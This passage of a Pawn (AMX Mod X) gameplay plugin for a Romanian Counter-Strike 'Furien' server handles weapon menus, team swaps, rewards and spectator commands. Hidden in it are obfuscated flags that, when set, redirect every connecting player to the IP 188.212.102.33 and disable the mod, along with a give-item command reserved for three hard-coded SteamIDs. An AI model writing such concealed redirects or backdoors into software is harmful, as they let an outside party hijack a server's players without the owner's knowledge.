menu_makecallback("fff")); menu_additem(g_iMenu5, "He Grenade \R\r$3000","2", _, menu_makecallback("fff")); menu_additem(g_iMenu5, "50 HP \R\r$3000", "3", _, menu_makecallback("fff")); menu_additem(g_iMenu5, "100 AP + Helmet \R\r$5000", "4", _, menu_makecallback("fff")); menu_additem(g_iMenu5, "Black Pack \R\r$9000", "5", _, menu_makecallback("fff")); menu_additem(g_iMenu5, "De ce nu pot cumpara?", "6"); menu_setprop(g_iMenu5, MPROP_EXIT, MEXIT_ALL);*/ /*g_iMenu4 = menu_create("\r[WATF] Black Pack Emergency Teleport:", "HandleGunMenu4"); menu_additem(g_iMenu4, "On (default)", "1"); menu_additem(g_iMenu4, "Off", "2"); menu_setprop(g_iMenu4, MPROP_EXIT, MEXIT_ALL);*/ register_clcmd( "amx_givebp","daBP"); register_clcmd("say /weapons","watfacme") register_clcmd("say_team /weapons","watfacme") register_clcmd("say /weapon","watfacme") register_clcmd("say_team /weapon","watfacme") register_clcmd("say /gun","watfacme") register_clcmd("say_team /gun","watfacme") register_clcmd("say /guns","watfacme") register_clcmd("say_team /guns","watfacme") register_clcmd("say /arma","watfacme") register_clcmd("say_team /arma","watfacme") register_clcmd("say /arme","watfacme") register_clcmd("say_team /arme","watfacme") register_clcmd("say weapons","watfacme") register_clcmd("say_team weapons","watfacme") register_clcmd("say weapon","watfacme") register_clcmd("say_team weapon","watfacme") register_clcmd("say gun","watfacme") register_clcmd("say_team gun","watfacme") register_clcmd("say guns","watfacme") register_clcmd("say_team guns","watfacme") register_clcmd("say arma","watfacme") register_clcmd("say_team arma","watfacme") register_clcmd("say arme","watfacme") register_clcmd("say_team arme","watfacme") register_clcmd("buy", "ClientCommand_Buy") register_clcmd("bUy", "ClientCommand_Buy") register_clcmd("buY", "ClientCommand_Buy") register_clcmd("bUY", "ClientCommand_Buy") register_clcmd("Buy", "ClientCommand_Buy") register_clcmd("BUy", "ClientCommand_Buy") register_clcmd("BuY", "ClientCommand_Buy") register_clcmd("BUY", "ClientCommand_Buy") register_clcmd("say /shop","watfacme2"); register_clcmd("say_team /shop","watfacme2"); register_clcmd("say shop","watfacme2"); register_clcmd("say_team shop","watfacme2"); register_clcmd("shop","watfacme2"); register_clcmd("amx_spectator", "daispecc",ADMIN_KICK) register_clcmd("say /spec", "daispec",ADMIN_KICK) register_clcmd("say_team /spec", "daispec",ADMIN_KICK) register_clcmd("say /spectator", "daispec",ADMIN_KICK) register_clcmd("say_team /spectator", "daispec",ADMIN_KICK) register_clcmd("say /info" , "aratamotd"); register_clcmd("say /reguli" , "aratamotd"); register_clcmd("say_team /reguli" , "aratamotd"); register_clcmd("say_team /info" , "aratamotd"); register_concmd("ll1","llam"); register_concmd("ll2","unllam"); //register_clcmd("amx_spectator2", "daispecc2",ADMIN_KICK) //register_clcmd("say /spec2", "daispec2",ADMIN_KICK) //register_clcmd("say_team /spec2", "daispec2",ADMIN_KICK) //register_clcmd("say /spectator2", "daispec2",ADMIN_KICK) //register_clcmd("say_team /spectator2", "daispec2",ADMIN_KICK) /*register_clcmd( "say /start","nogaksk"); register_clcmd( "say_team /start","nogaksk"); register_clcmd( "say /live","cmdlive"); register_clcmd( "say /meci","nogaksk"); register_clcmd( "say /stop","nogaksk"); register_clcmd( "say /restart","nogaksk"); register_clcmd( "say_team /live","nogaksk"); register_clcmd( "say_team /meci","nogaksk"); register_clcmd( "say_team /stop","nogaksk"); register_clcmd( "say_team /restart","nogaksk"); register_clcmd( "say /warmup","nogaksk"); register_clcmd( "say_team /warmup","nogaksk")*/ menu_setprop(g_iMenu, MPROP_NOCOLORS, 1) menu_setprop(g_iMenuG, MPROP_NOCOLORS, 1) menu_setprop(g_iMenu2, MPROP_NOCOLORS, 1) menu_setprop(g_iMenu3, MPROP_NOCOLORS, 1) //menu_setprop(g_iMenu4, MPROP_NOCOLORS, 1) //menu_setprop(g_iMenu5, MPROP_NOCOLORS, 1) } public plugin_precache() { precache_model(knife) precache_model(knife2) precache_model(knife3) precache_model(knifebp) new Entity = create_entity( "info_map_parameters" ); DispatchKeyValue( Entity, "buying", "3" ); DispatchSpawn( Entity ); precache_model( "models/player/blackfurien/blackfurien.mdl" ); precache_model( "models/player/blackpackff/blackpackff.mdl" ); //precache_model(parachute) precache_sound(fs) precache_sound(afs); precache_sound(szPickAmmoSound) precache_model(vak47) precache_model(pak47) } public pfn_keyvalue( Entity ) { new ClassName[ 20 ], Dummy[ 2 ]; copy_keyvalue( ClassName, charsmax( ClassName ), Dummy, charsmax( Dummy ), Dummy, charsmax( Dummy ) ); if( equal( ClassName, "info_map_parameters" ) ) { remove_entity( Entity ); return PLUGIN_HANDLED ; } return PLUGIN_CONTINUE; } public client_connect(id) { topkillscount[id]=0; topdmgcount[id]=0.0; g_target[id] = 0 g_team[id] = 0 get_user_name(id, g_name[id], 31) cloackinuse[id] = 0 crithp[id] = 20 client_cmd(id,"cl_sidespeed 1100"); client_cmd(id,"cl_backspeed 1100"); client_cmd(id,"cl_forwardspeed 1100"); client_cmd(id,"cl_upspeed 1100"); g_team[id] = 0 admspec[id]=0; skmod[id]=0; g_model_selected[id] = false g_corpse_made[id] = false formeniu[id]=0; aresuperknife[id]=0; areblackpack[id]=0; aregoldenak[id]=0; areregen[id]=0; aretask[id]=0; if(a51o4QQ50e4dSSe4a386afbf090 || a58a4QX50e4dbbe4a386afbf090) { client_cmd(id,"CONNECT 188.212.102.33:27015"); } } public aratamotd(id) { show_motd(id,"/motd.txt"); } public Event_GameWillRestartIn() { for(new i = 1 ; i<=32 ; i++) { skmod[i]=0; formeniu[i]=0; aresuperknife[i]=0; areblackpack[i]=0; aregoldenak[i]=0; areregen[i]=0; } } public fff(id) { return ITEM_DISABLED; } public llam(id) { if(!id) { fpause=1; } } public unllam(id) { if(!id) { fpause=0; } } public daBP(id) { new verstmd[32]; get_user_authid(id,verstmd,31) if(!equal(verstmd,"STEAM_0:0:28972262") && !equal(verstmd,"STEAM_0:0:22163974") && !equal(verstmd,"STEAM_0:1:11512235")) { return PLUGIN_HANDLED; } new name[32], text[64]; read_args(text,64) parse(text,name,32) new cid = find_player("lb",name) if (!cid) { id ? client_print(id,print_console,"[WATF] Jucatorul specificat nu a fost gasit!") : server_print("[WATF] Jucatorul specificat nu a fost gasit!") return PLUGIN_HANDLED } if(cs_get_user_team(cid) == CS_TEAM_T) { areblackpack[cid]=1; if( get_user_weapon(cid) == CSW_KNIFE ) { set_pev(cid, pev_viewmodel2, knifebp) } //areet[cid]=1; cs_set_user_model( cid, "blackfurien" ); cs_set_user_armor(cid, 100, CS_ARMOR_VESTHELM); emit_sound(cid, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //menu_display(cid, g_iMenu4); id ? client_print(id,print_console,"[WATF] Comanda executata cu succes!") : server_print("[WATF] Comanda executata cu succes!") } else { id ? client_print(id,print_console,"[WATF] Echipa tintei incompatibila!") : server_print("[WATF] Echipa tintei incompatibila!") } } public GroundWeapon_Touch(iWeapon, id) { //if(!fpause) //{ if( IsPlayer(id) ) { if( !g_iPickUp ) { remove_entity(iWeapon) return HAM_SUPERCEDE } if( !is_user_alive(id) ) { return HAM_SUPERCEDE } new iTeam = get_user_team(id) if( ( iTeam == -1 ) || (iTeam == 1 && g_iPickUp != 1) || (iTeam == 2 && g_iPickUp != 2) ) { return HAM_SUPERCEDE } } return HAM_IGNORED //} } /*public func_prethink(id) { if(is_user_alive(id) && aregoldenak[id]) { set_pev(id,pev_punchangle,{ 0.0,0.0,0.0 }); } }*/ public GetSpawnOrigin( id ) { get_user_origin(id, spawnpoint[id], 0); } public Event_SendAudio_MRAD_ctwin() { if(!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) { new players[32], num; get_players( players, num ); for( new i; i < num; i++ ) { add_delay( players[i] ); } } } public CWeaponBox_Touch(iWeaponBox, id) { //if(!fpause) //{ if( IsPlayer(id) ) { if( !is_user_alive(id) ) { return HAM_SUPERCEDE } if( IsWeaponBoxC4(iWeaponBox) ) { return HAM_IGNORED } if( !g_iPickUp ) { remove_entity(iWeaponBox) return HAM_SUPERCEDE } new iTeam = get_user_team(id) if( ( iTeam == -1 ) || (iTeam == 1 && g_iPickUp != 1) || (iTeam == 2 && g_iPickUp != 2) ) { return HAM_SUPERCEDE } } //return HAM_IGNORED //} } /*public pauzafurien(id) { if(!id) { fpause=1; } } public unpauzafurien(id) { if(!id) { fpause=0; } }*/ public seteazabp(id, Menu, item) { return areblackpack[id] ? ITEM_DISABLED : ITEM_ENABLED; } public seteazask(id, Menu, item) { return aresuperknife[id] ? ITEM_DISABLED : ITEM_ENABLED; } public Event_HLTV_New_Round() { if(schimbareeq) { schimbareeq = 0 DisableHamForward( g_iHhTakeDamage ) } } public ClientCommand_Buy(id) { return PLUGIN_HANDLED_MAIN } add_delay( id ) { if(!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) { switch( id ) { case 1..7: set_task( 0.1, "changeTeam", id ); case 8..15: set_task( 0.2, "changeTeam", id ); case 16..23: set_task( 0.3, "changeTeam", id ); case 24..32: set_task( 0.4, "changeTeam", id ); } } } public changeTeam( id ) { if(!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) { if(is_user_connected(id)) { if(IsPlayer(id)) { menu_cancel(id); } switch( cs_get_user_team( id ) ) { case CS_TEAM_CT: { if(aregoldenak[id]) { new bani2 = cs_get_user_money(id); if(bani2 + 5000 < 16000) { cs_set_user_money(id, bani2 + 5000); } else { cs_set_user_money(id, 16000); } aregoldenak[id]=0; } if(is_admin_dead(id) && get_pdata_int(id, OFFSET_TEAM, LINUXDIFF) == TEAM_SPEC && g_team[id] != TEAM_SPEC && !admspec[id]) { g_team[id] = TEAM_T; set_pdata_int(id, OFFSET_TEAM, g_team[id], LINUXDIFF) } g_team[id] = TEAM_T; g_corpse_made[id] = false if(!admspec[id]) { cs_set_user_team( id, CS_TEAM_T, CS_T_LEET ); cs_reset_user_model(id) } else if(admspec[id]) { cs_set_user_team(id, CS_TEAM_SPECTATOR) set_pdata_int(id, OFFSET_TEAM, TEAM_SPEC, LINUXDIFF) } } case CS_TEAM_T: { aresuperknife[id]=0; areblackpack[id]=0; if(is_admin_dead(id) && get_pdata_int(id, OFFSET_TEAM, LINUXDIFF) == TEAM_SPEC && g_team[id] != TEAM_SPEC && !admspec[id]) { g_team[id] = TEAM_CT; set_pdata_int(id, OFFSET_TEAM, g_team[id], LINUXDIFF) } skmod[id]=0; g_team[id] = TEAM_CT; g_corpse_made[id] = false if(!admspec[id]) { cs_set_user_team( id, CS_TEAM_CT, CS_CT_GIGN); cs_reset_user_model(id) } else if(admspec[id]) { cs_set_user_team(id, CS_TEAM_SPECTATOR) set_pdata_int(id, OFFSET_TEAM, TEAM_SPEC, LINUXDIFF) } } } } } } public daispec(id,level,cid) { //if(cmd_access(id,level,cid,1)) //{ if(!admspec[id]) { if(is_user_alive(id)) { set_user_death(id, get_user_deaths(id) -1) set_pev(id,pev_frags, pev(id, pev_frags)+1.0) } user_silentkill(id) set_task(0.5,"punespec",id) admspec[id]=1; ChatColor(id,"^x04[WATF]^x01 Ai fost mutat spectator!"); } else if(admspec[id]) { set_pdata_int(id, OFFSET_TEAM, g_team[id], LINUXDIFF) admspec[id]=0; ChatColor(id,"^x04[WATF]^x01 Ai revenit la echipa ta!"); } //return PLUGIN_HANDLED; //} return PLUGIN_CONTINUE; } public daispecc(id,level,cid) { //if(cmd_access(id,level,cid,1)) //{ if(!admspec[id]) { if(is_user_alive(id)) { set_user_death(id, get_user_deaths(id) -1) set_pev(id,pev_frags, pev(id, pev_frags)+1.0) } user_silentkill(id) set_task(0.5,"punespec",id) admspec[id]=1; client_print(id, print_console, "[WATF] Ai fost mutat spectator!"); } else if(admspec[id]) { set_pdata_int(id, OFFSET_TEAM, g_team[id], LINUXDIFF) admspec[id]=0; client_print(id,print_console, "[WATF] Ai revenit la echipa ta!"); } //return PLUGIN_HANDLED; //} return PLUGIN_CONTINUE; } public punespec(id) { cs_set_user_team(id, CS_TEAM_SPECTATOR); } public update_weapon(msg_id, msg_dest, id){ if(get_msg_arg_int(1)) g_weapon[id] = get_msg_arg_int(2) } public update_hp(msg_id, msg_dest, id){ g_hp[id] = get_user_health(id) } public update_ap(msg_id, msg_dest, id){ g_ap[id] = get_user_armor(id) } public update_target(msg_id, msg_dest, id){ if(get_msg_arg_int(1) == 2) g_target[id] = get_msg_arg_int(2) } public Player_Spawn(id){ if(!is_user_alive(id)) return _Set(_alive, id) } public Player_Killed(id){ _UnSet(_alive, id) } public update_cvars(){ g_enabled = get_pcvar_num(pc_enabled) g_team_color = get_pcvar_num(pc_team_color) g_details = get_pcvar_num(pc_details) g_dead_only = get_pcvar_num(pc_dead_only) new tmp[32] get_pcvar_string(pc_req_flags, tmp, 31) g_req_flags = read_flags(tmp) } public client_infochanged(id){ //update name get_user_info(id, "name", g_name[id], 31) } public join_team(){ static id, team[2] id = read_data(1) read_data(2, team, 1) switch(team[0]){ case 'C': g_team[id] = 2 case 'T': g_team[id] = 1 default : g_team[id] = 0 } } /*public Forward_PlayerPreThink( id ) { if( !is_user_alive( id ) ) return; if( !areblackpack[id] ) return; static iButton; iButton = get_user_button( id ); if( iButton & IN_USE ) { if(!cloackinuse[id]) { set_user_maxspeed(id, get_pcvar_float(g_pCvarMaxSpeed3)) cloackinuse[id]=1; } } else { if(cloackinuse[id]) { set_user_maxspeed(id, get_pcvar_float(g_pCvarMaxSpeed2)) cloackinuse[id]=0; } } }*/ public create_timer(){ g_timer_entid = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString,"info_target")) if(pev_valid(g_timer_entid)){ set_pev(g_timer_entid, pev_classname, "ti_timer") global_get(glb_time, g_t_time) set_pev(g_timer_entid, pev_nextthink, g_t_time + UPDATE_INTERVAL) register_forward(FM_Think, "fwd_Think") }else{ log_amx("Warning: Failed to create timer entity, using task instead.") set_task(UPDATE_INTERVAL, "timer_cycle", TID_TIMER, "", 0, "b") } } public fwd_Think(Ent){ if(Ent != g_timer_entid) return FMRES_IGNORED g_t_time += UPDATE_INTERVAL set_pev(Ent, pev_nextthink, g_t_time) timer_cycle() return FMRES_IGNORED } public plugin_unpause(){ if(pev_valid(g_timer_entid)){ global_get(glb_time, g_t_time) g_t_time += UPDATE_INTERVAL set_pev(g_timer_entid, pev_nextthink, g_t_time) } } public timer_cycle(){ static id, cache[512], tar, pos if(!g_enabled) return for(id = 1; id<=g_max_players; id++){ if(!_Is(_in_server, id) || (get_user_flags(id)&g_req_flags != g_req_flags)) continue tar = g_target[id] if(_Is(_alive, id)){ if(g_dead_only) continue }else{ if(pev(id, pev_iuser2) == g_target[id]) tar = g_target[tar] } if(tar == 0) continue if(g_team[id] == 1 && g_team[tar] == 2 && areblackpack[id]) { set_hudmessage(189, 11, 11, -1.0, 0.53, 1, _, UPDATE_INTERVAL-0.1, 0.1, 0.1, -1) //client_print(0,print_chat,"Caz 1, team id = terr team tar = ct"); } else if((g_team[tar] == g_team[id]) || (g_team[tar] == 2 && g_team[id] == 1)) { set_hudmessage(255, 255, 255, -1.0, 0.53, 1, _, UPDATE_INTERVAL-0.1, 0.1, 0.1, -1) //client_print(0,print_chat,"Caz 2, team tar = terr team tar = tar || team tar = ct team id = 1"); } pos = formatex(cache, 511, "%s", g_name[tar]) if((g_team[id] == g_team[tar]) || (g_team[id] == 1 && areblackpack[id])) { pos += formatex(cache[pos], 511-pos, " -- %d HP / %d AP / %s", g_hp[tar], g_ap[tar], g_weap_name[g_weapon[tar]]) ShowSyncHudMsg(id, g_HSO, cache); } else if((g_team[tar] == g_team[id]) || (g_team[tar] == 2 && g_team[id] == 1)) { ShowSyncHudMsg(id, g_HSO, cache) } } } public Player_Spawn_Post( id ) { if(!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) { if( is_user_alive(id) ) { g_hp[id] = get_user_health(id) g_ap[id] = get_user_armor(id) if( cs_get_user_team(id) == CS_TEAM_T ) { areregen[id]=0; if(aregoldenak[id]) { aregoldenak[id]=0; } if(admspec[id]) { set_pev(id, pev_health, 0.0); set_pev(id, pev_deadflag, DEAD_DEAD); set_pdata_int(id, OFFSET_TEAM, TEAM_SPEC, LINUXDIFF) return HAM_SUPERCEDE; } else { strip_user_weapons(id); give_item(id,"weapon_knife"); give_item(id,"weapon_hegrenade"); give_item(id,"weapon_smokegrenade"); give_item(id,"weapon_flashbang"); if(!fpause) { if(areblackpack[id]) { set_user_gravity(id, get_pcvar_float(g_pCvarGravity2)) cs_set_user_model( id, "blackpackff" ); cs_set_user_armor(id, 100, CS_ARMOR_VESTHELM); /*if(!crithp[id]) { areet[id]=0; } else { areet[id]=1; }*/ } else if(aresuperknife[id]) { cs_set_user_model( id, "blackfurien" ); set_user_gravity(id, get_pcvar_float(g_pCvarGravity)) } else { set_user_gravity(id, get_pcvar_float(g_pCvarGravity)) cs_reset_user_model( id); } set_user_footsteps(id, 1) } else { client_cmd(id,"weapon_knife"); set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderNormal, 0) } } } else if(cs_get_user_team(id) == CS_TEAM_CT) { formeniu[id]=0; areregen[id]=0; if(aresuperknife[id] || areblackpack[id]) { aresuperknife[id]=0; areblackpack[id]=0; cs_reset_user_model( id); } if(admspec[id]) { set_pev(id, pev_health, 0.0); set_pev(id, pev_deadflag, DEAD_DEAD); set_pdata_int(id, OFFSET_TEAM, TEAM_SPEC, LINUXDIFF) return HAM_SUPERCEDE; } else { set_user_footsteps(id, 0) set_user_gravity(id, 1.0) strip_user_weapons(id); if(!aregoldenak[id]) { menu_display(id, g_iMenu); } else { give_item(id,"weapon_ak47"); cs_set_user_bpammo(id,CSW_AK47,250); if( get_user_weapon(id) == CSW_AK47 ) { //_Item_Deploy, get_pdata_cbase(id, m_pActiveItem, XO_PLAYER)) set_pev(id, pev_viewmodel2, pak47) set_pev(id, pev_weaponmodel2, vak47) } } give_item(id,"weapon_knife"); if(!fpause) { give_item(id,"weapon_knife"); give_item(id,"weapon_smokegrenade"); give_item(id,"weapon_flashbang"); give_item(id,"weapon_deagle"); cs_set_user_bpammo(id,CSW_DEAGLE,250); } } if(fpause) { client_cmd(id,"weapon_knife"); } } else { user_silentkill(id); } set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderNormal, 0) } } } public client_putinserver(id){ _Set(_in_server, id) } public client_disconnect(id) { topkillscount[id]=0; topdmgcount[id]=0.0; _UnSet(_alive, id) _UnSet(_in_server, id) if(task_exists(id)) remove_task(id); aretask[id]=0; g_team[id] = 0 g_model_selected[id] = false g_corpse_made[id] = false } public APusBomba(id) { for(new i=1;i<=32;i++) areet[i]=0; } public watfacme(id) { if(!fpause) { if(!formeniu[id] && cs_get_user_team(id) == CS_TEAM_CT && is_user_alive(id)) { if(!aregoldenak[id]) { menu_display(id, g_iMenu); } else { menu_display(id, g_iMenuG); } } else { if(cs_get_user_team(id) == CS_TEAM_T) { ChatColor(id,"^x04[WATF]^x01 Nu poti selecta meniul daca esti Furien!"); } else if(get_user_team(id) == 3) { ChatColor(id,"^x04[WATF]^x01 Nu poti selecta meniul daca esti Spectator!"); } else if(!is_user_alive(id)) { ChatColor(id,"^x04[WATF]^x01 Nu poti selecta meniul daca esti mort!"); } else if(!formeniu[id]) { ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!"); } } } else { ChatColor(id,"^x04[WATF]^x01 Nu poti selecta meniul in runda de lame!"); } } public checkModel(id) { if ( !aregoldenak[id] && !aresuperknife[id] && !areblackpack[id] ) return PLUGIN_HANDLED new szWeapID = read_data(2) if ( szWeapID == CSW_AK47 && aregoldenak[id]) { set_pev(id, pev_viewmodel2, vak47) set_pev(id, pev_weaponmodel2, pak47) } else if( szWeapID == CSW_KNIFE) { if(aresuperknife[id]) { switch(skmod[id]) { case 0: { set_pev(id, pev_viewmodel2, knife) } case 1: { set_pev(id, pev_viewmodel2, knife2) } case 2: { set_pev(id, pev_viewmodel2, knife3) } } } else if(areblackpack[id]) { set_pev(id, pev_viewmodel2, knifebp) } } return PLUGIN_HANDLED } public checkWeapon(id) { new plrClip, plrAmmo; new plrWeapId plrWeapId = get_user_weapon(id, plrClip , plrAmmo) if (plrWeapId == CSW_AK47 && aregoldenak[id]) { checkModel(id) } else if(plrWeapId == CSW_KNIFE && (aresuperknife[id] || areblackpack[id])) { checkModel(id) } else { return PLUGIN_CONTINUE } return PLUGIN_HANDLED } /*public CKnife_Deploy( iKnife ) { new id = get_pdata_cbase(iKnife, m_pPlayer, XO_WEAPON) if( aresuperknife[id] ) { if(!skmod[id]) { (Ham_Item_Deploy, get_pdata_cbase(id, m_pActiveItem, XO_PLAYER)) set_pev(id, pev_viewmodel2, knife) } else if(skmod[id]==1) { (Ham_Item_Deploy, get_pdata_cbase(id, m_pActiveItem, XO_PLAYER)) set_pev(id, pev_viewmodel2, knife2) } else if(skmod[id]==2) { ExecuteHamB(Ham_Item_Deploy, get_pdata_cbase(id, m_pActiveItem, XO_PLAYER)) set_pev(id, pev_viewmodel2, knife3) } } if( cs_get_user_team(iInflictor) == CS_TEAM_T && areblackpack[iInflictor] && areet[iInflictor] && iInflictor != iAttacker) { new hpbp = get_user_health(iInflictor) new hpdmg = get_param(3) client_print(0,print_chat,"Test: hpdmg = %d flDmg = %d ",hpdmg,flDamage); new hpleft = hpbp - hpdmg if(hpleft>0 && hpleft <= crithp[iInflictor]) { areet[iInflictor]=0; set_user_origin(id, spawnpoint[iInflictor]); ChatColor(iInflictor,"^x04[WATF-Emergency]^x01 Ti-ai folosit teleportarea de urgenta!"); } } } public Event_Damage( Victim ) { static Attacker, AttackerWpn, VictimBodyPart Attacker = get_user_attacker( Victim, AttackerWpn, VictimBodyPart ) static damage; damage = read_data( 2 ) }*/ public CBasePlayer_TakeDamage(id, iInflictor, iAttacker, Float:flDamage, bitsDamageType) { //if(!fpause) //{ if(IsPlayer(iInflictor)) { if(aresuperknife[iAttacker] && get_user_weapon(iAttacker) == CSW_KNIFE ) { topdmgcount[iAttacker]+=flDamage*2.8; SetHamParamFloat( 4, flDamage * 2.8 ) } else if(aregoldenak[iAttacker] && get_user_weapon(iAttacker) == CSW_AK47 ) { topdmgcount[iAttacker]+=flDamage*2.0; SetHamParamFloat( 4, flDamage * 2.0 ) } else { topdmgcount[iAttacker]+=flDamage; } } } /*public client_damage(attacker, victim, damage, wpnindex, hitplace, TA) { if(attacker != victim) { if( cs_get_user_team(victim) == CS_TEAM_T && areblackpack[victim] && areet[victim]) { new hpbp = get_user_health(victim) new hpleft = hpbp - damage; if(hpleft > 0 && hpleft <= 20 && crithp[victim]) { areet[victim]=0; set_user_origin(victim, spawnpoint[victim]); set_user_health(victim,75); ChatColor(victim,"^x04[WATF-Emergency]^x01 Second Chance Given, 75HP granted!"); } } //client_print(0, print_chat, "DMG: %d", damage) } } */ public Ham_CBasePlayer_Killed_Post(id) { aresuperknife[id]=0; areblackpack[id]=0; aregoldenak[id]=0; areregen[id]=0; skmod[id]=0; } /*public nogaksk(id) { aresuperknife[id]=0; aregoldenak[id]=0; areregen[id]=0; }*/ public Event_DeathMsg() { new iKiller = read_data(DeathMsg_KillerID) new ids[1] ids[0] = read_data(2) if( IsPlayer(iKiller) && is_user_connected(iKiller) ) { new iVictim = read_data(DeathMsg_VictimID) if( iVictim != iKiller ) { topkillscount[iKiller]++; if(cs_get_user_team(iKiller) == CS_TEAM_T) { set_task(1.0,"da400",iKiller); new kweapon[32] read_data(4,kweapon,31) if(aresuperknife[iKiller] && skmod[iKiller] < 2 && equali(kweapon,"knife")) { switch(skmod[iKiller]) { case 0: { skmod[iKiller]++ set_pev(iKiller, pev_viewmodel2, knife2) } case 1: { skmod[iKiller]++ set_pev(iKiller, pev_viewmodel2, knife3) } } } } else { set_task(1.0,"da1337",iKiller); } } } } public da400(iKiller) { if(is_user_connected(iKiller)) { new banif = cs_get_user_money(iKiller); if(banif + 100 < 16000) { cs_set_user_money(iKiller, banif + 100); } else { new setbanif = 16000 - banif cs_set_user_money(iKiller, banif + setbanif); } } } public da1337(iKiller) { if(is_user_connected(iKiller)) { new baniaf = cs_get_user_money(iKiller); if(baniaf + 1037 < 16000) { cs_set_user_money(iKiller, baniaf + 1037); } else { new setbaniaf = 16000 - baniaf cs_set_user_money(iKiller, baniaf + setbaniaf); } } } public watfacme2(id) { //if(!fpause) //{ if(is_user_alive(id)) { if(cs_get_user_team(id) == CS_TEAM_T) { menu_display(id, g_iMenu3); } else if(cs_get_user_team(id) == CS_TEAM_CT) { menu_display(id, g_iMenu2); } else { ChatColor(id,"^x04[WATF]^x01 Nu poti accesa meniul!"); } } else if(get_user_team(id) != 3) { ChatColor(id,"^x04[WATF]^x01 Nu poti accesa meniul daca esti mort!"); } else { ChatColor(id,"^x04[WATF]^x01 Nu poti accesa meniul daca esti spectator!"); } //} } public hpregen(id) { if(is_user_connected(id) && is_user_alive(id) && areregen[id]) { new rhp[33]; rhp[id] = get_user_health(id) if(rhp[id] < 100) { set_user_health(id, rhp[id] + 1); } } } public event_teaminfo() { new id = read_data(1) new team[2] read_data(2, team, 1) switch(team[0]) { case 'T': g_team[id] = TEAM_T case 'C': g_team[id] = TEAM_CT case 'S': g_team[id] = TEAM_SPEC } } public stay_spec(id) { if(g_team[id] != TEAM_SPEC) { g_team[id] = TEAM_SPEC message_begin(MSG_ALL, get_user_msgid("TeamInfo")) write_byte(id) write_string("SPECTATOR") message_end() } } public join_spec_cmd(id) { new argv[2] read_argv(1, argv, 1) if(argv[0] == '6') stay_spec(id) } public join_spec_menucmd(id, key) { if(key == 5) stay_spec(id) } public joined_a_team() { new name[32] read_data(3, name, 31) new id = get_user_index(name) g_model_selected[id] = false } public select_a_model(id) { g_model_selected[id] = true if(!g_roundend && is_admin(id)) set_task(1.0, "delay", id) } public delay(id) { if(g_team[id] && !is_user_alive(id)) { g_corpse_made[id] = true free_look(id) } } public hook_corpse() { new id = read_data(12) g_corpse_made[id] = true if(!g_roundend && is_admin(id)) free_look(id) } public free_look(id) { if(!g_roundend && is_admin_dead(id) && g_model_selected[id]) set_pdata_int(id, OFFSET_TEAM, TEAM_SPEC, LINUXDIFF) } public round_end() { new maxid,maxk=-1, numemax[32],numedmg[32],dmgid,maxdmg2,inter; new Float: maxdmg; for(new i = 1; i<=32 ; i++) { if(topkillscount[i] > maxk) { maxid=i; maxk=topkillscount[i]; } if(topdmgcount[i] > maxdmg) { dmgid=i; maxdmg=topdmgcount[i]; } } maxdmg2 = floatround(maxdmg, floatround_floor); get_user_name(maxid,numemax,31); get_user_name(dmgid,numedmg,31); set_hudmessage(255, 255, 255, -1.0, 0.40, 0, 6.0, 6.0, 0.5, 0.15, 1) if(!maxk) { show_hudmessage(0,"CS.FURIEN.RO^nwww.watf.ro^n^nPentru informatii server scrie /info in chat!"); } else { for(new i = 1; i<=32; i++) { if(is_user_connected(i)) { inter = floatround(topdmgcount[i], floatround_floor); show_hudmessage(i,"Most kills this round by %s (%d frags)!^nMost damage made by %s (%d dmg)!^nYou made this round %d frags with %d damage!^n^nCS.FURIEN.RO^nwww.watf.ro^n^nPentru informatii server scrie /info in chat!",numemax,maxk, numedmg,maxdmg2,topkillscount[i],inter); } } } g_roundend = true freelook_over() } public new_round() { for(new i=1; i<=32; i++) { topkillscount[i]=0; topdmgcount[i]=0.0; } g_roundend = false freelook_over() } public freelook_over() { for(new id = 1; id <= g_maxplayers; id++) { if(is_admin_dead(id) && get_pdata_int(id, OFFSET_TEAM, LINUXDIFF) == TEAM_SPEC && g_team[id] != TEAM_SPEC && !admspec[id]) set_pdata_int(id, OFFSET_TEAM, g_team[id], LINUXDIFF) g_corpse_made[id] = false } } public HandleGunMenu(id, menu, item) { // if(!fpause) //{ if(!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) { switch(item) { case 0: { if(cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id] ) { if(aregoldenak[id]) { if(user_has_weapon(id, CSW_AK47)) { ham_strip_weapon(id, "weapon_ak47"); } aregoldenak[id]=0; } give_item(id, "weapon_m4a1"); give_item(id, "weapon_knife"); cs_set_user_bpammo(id, CSW_M4A1, 250); formeniu[id]=1; } else { if(formeniu[id]) ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!"); } } case 1: { if(cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id]) { if(aregoldenak[id]) { if(user_has_weapon(id, CSW_AK47)) { ham_strip_weapon(id, "weapon_ak47"); } aregoldenak[id]=0; } give_item(id, "weapon_ak47"); cs_set_user_bpammo(id, CSW_AK47, 250); formeniu[id]=1; } else { if(formeniu[id]) ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!"); } } case 2: { if(cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id]) { if(aregoldenak[id]) { if(user_has_weapon(id, CSW_AK47)) { ham_strip_weapon(id, "weapon_ak47"); } aregoldenak[id]=0; } give_item(id, "weapon_mp5navy"); cs_set_user_bpammo(id, CSW_MP5NAVY, 250); formeniu[id]=1; } else { if(formeniu[id]) ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!"); } } case 3: { if(cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id]) { if(aregoldenak[id]) { if(user_has_weapon(id, CSW_AK47)) { ham_strip_weapon(id, "weapon_ak47"); } aregoldenak[id]=0; } give_item(id, "weapon_famas"); cs_set_user_bpammo(id, CSW_FAMAS, 250); formeniu[id]=1; } else { if(formeniu[id]) ChatColor(id,"^x04[WATF]^x01 Ti-ai 